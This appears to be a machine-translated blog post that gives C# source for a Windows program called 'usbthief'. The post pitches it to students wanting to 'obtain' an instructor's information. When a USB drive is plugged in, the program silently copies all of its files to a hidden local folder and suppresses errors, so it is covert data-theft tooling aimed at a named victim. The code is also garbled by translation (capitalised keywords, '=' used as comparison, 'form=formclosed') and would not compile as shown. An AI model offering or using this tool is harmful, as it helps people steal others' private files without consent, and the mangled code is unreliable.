This article is intended for students who want to "obtain" instructor Information
Code:Http://d.download.csdn.net/down/2111399/shengang1006
Using system;
Using system. Collections. Generic;
Using system. componentmodel;
Using system. Data;
Using system. drawing;
Using system. text;
Using system. Windows. forms;
Using system. Threading;
Using system. IO;
Namespace usbthief
{
Public partial class form1: Form
{
Thread thread = NULL;
Bool isstop = false;
String flag = string. empty;
String des = "D: // mystudy"; // directory of the copied File
String sou = string. empty;
// The following is the message
Public const int wm_devicechange = 0x219;
Public const int dbt_devicearrival = 0x8000;
Public const int dbt_configchangecanceled = 0x0019;
Public const int dbt_configchanged = 0x0018;
Public const int dbt_customevent = 0x8006;
Public const int dbt_devicequeryremove = 0x8001;
Public const int dbt_devicequeryremovefailed = 0x8002;
Public const int dbt_deviceremovecomplete = 0x8004;
Public const int dbt_deviceremovepending = 0x8003;
Public const int dbt_devicetypespecific = 0x8005;
Public const int dbt_devnodes_changed = 0x0007;
Public const int dbt_querychangeconfig = 0x0017;
Public const int dbt_userdefined = 0 xFFFF;
Public form1 ()
{
Initializecomponent ();
Centertoscreen ();
}
Protected override void wndproc (ref message m)
{
If (M. MSG = wm_devicechange)
{
Switch (M. wparam. toint32 ())
{
Case wm_devicechange:
Break;
Case dbt_devicearrival: // USB flash drive
Thread = NULL;
Isstop = false;
Driveinfo [] S = driveinfo. getdrives (); // get all the drives
Foreach (driveinfo drive in S)
{
If (drive. drivetype = drivetype. removable) // you can determine whether the drive is movable.
{
Sou = drive. Name;
If (thread = NULL)
{
Thread = new thread (New threadstart (copy); // thread instantiation
Thread. Start (); // start the thread
}
Break;
}
}
Break;
Case dbt_configchangecanceled:
Break;
Case dbt_configchanged:
Break;
Case dbt_customevent:
Break;
Case dbt_devicequeryremove:
Break;
Case dbt_devicequeryremovefailed:
Break;
Case dbt_deviceremovecomplete:
Isstop = true; // stop copying objects
Thread = NULL; // destroy the thread
Break;
Case dbt_deviceremovepending:
Break;
Case dbt_devicetypespecific:
Break;
Case dbt_devnodes_changed:
Break;
Case dbt_querychangeconfig:
Break;
Case dbt_userdefined:
Break;
Default:
Break;
}
}
Base. wndproc (ref m );
}
/// <Summary>
/// Thread function
/// </Summary>
Public void copy ()
{
Copyfile (SOU );
}
/// <Summary>
/// Recursively copy all objects
/// </Summary>
Public void copyfile (string pathname)
{
// Determine whether the file name is empty
If (pathname. Trim (). Length = 0 | isstop)
{
Return;
}
// Obtain all the files and folders in the directory
String [] files = directory. getfilesystementries (pathname );
Try
{
Foreach (string dir in files)
{
If (isstop)
{
Break;
}
// Determine whether a folder is used. If yes, recursion is used.
If (directory. exists (DIR ))
{
Int Index = dir. indexof (@"/");
Directory. createdirectory (des + @ "/" + dir. substring (index, dir. Length-index ));
Copyfile (DIR );
}
Else
{
Int Index = dir. indexof (@"/");
File. Copy (Dir, des + @ "/" + dir. substring (index, dir. Length-index), true );
}
}
}
Catch (exception ex)
{
Ex. tostring (); // block exceptions
}
}
/// <Summary>
/// Close
/// </Summary>
/// <Param name = "sender"> </param>
/// <Param name = "E"> </param>
Private void form=formclosed (Object sender, formclosedeventargs E)
{
// Close the thread
If (thread! = NULL)
{
Thread. Abort ();
}
This. Close ();
}
}
}